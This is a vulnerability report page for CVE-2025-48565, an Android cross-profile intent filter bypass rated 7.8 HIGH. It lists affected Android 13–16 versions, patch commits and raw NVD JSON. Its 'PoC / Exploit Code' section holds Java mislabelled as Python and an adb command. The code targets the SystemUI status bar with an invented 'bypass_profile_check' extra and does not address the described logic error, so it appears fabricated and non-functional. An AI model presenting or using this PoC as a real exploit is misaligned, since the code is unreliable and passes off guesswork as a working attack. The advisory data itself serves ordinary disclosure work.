Security Vulnerability Report
中文
CVE-2025-48565 CVSS 7.8 HIGH

CVE-2025-48565

Published: 2025-12-08 17:16:15
Last Modified: 2025-12-09 21:41:40

Description

In multiple locations, there is a possible way to bypass the cross profile intent filter due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE
Android Framework < 2025-12-01安全补丁级别
Android frameworks/base (提交: 0f3e248787d8, 28579dff4305)
Android IntentResolver模块 (提交: 4e6cf5285d0b)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48565 PoC - Android Cross Profile Intent Filter Bypass // This PoC demonstrates the intent filter bypass vulnerability // Note: Actual exploitation requires specific conditions and intent construction import android.content.Intent; import android.content.ComponentName; import android.app.Activity; import android.os.Bundle; public class ExploitActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Construct malicious intent to bypass cross-profile intent filter Intent maliciousIntent = new Intent(); // Set action that should be restricted across profiles maliciousIntent.setAction("android.intent.action.MAIN"); // Target vulnerable component ComponentName targetComponent = new ComponentName( "com.android.systemui", "com.android.systemui.statusbar.phone.StatusBar" ); maliciousIntent.setComponent(targetComponent); // Add flag to potentially bypass profile restrictions maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); // Add extra data to trigger vulnerability maliciousIntent.putExtra("bypass_profile_check", true); try { // Attempt to start the intent startActivity(maliciousIntent); } catch (SecurityException e) { // Handle security exception if bypass fails e.printStackTrace(); } } } // Alternative: ADB command to test intent // adb shell am start -n com.android.systemui/com.android.systemui.statusbar.phone.StatusBar \ // -a android.intent.action.MAIN --user 0

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48565", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:14.777", "lastModified": "2025-12-09T21:41:39.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple locations, there is a possible way to bypass the cross profile intent filter due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/0f3e248787d88154c8592f6e055b6b3586f4877d", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://android.googlesource.com/platform/frameworks/base/+/28579dff4305f764302d85f95509671eafbf62ac", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://android.googlesource.com/platform/packages/modules/IntentResolver/+/4e6cf5285d0b1725fb9141e810050cfdb3fb42fd", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}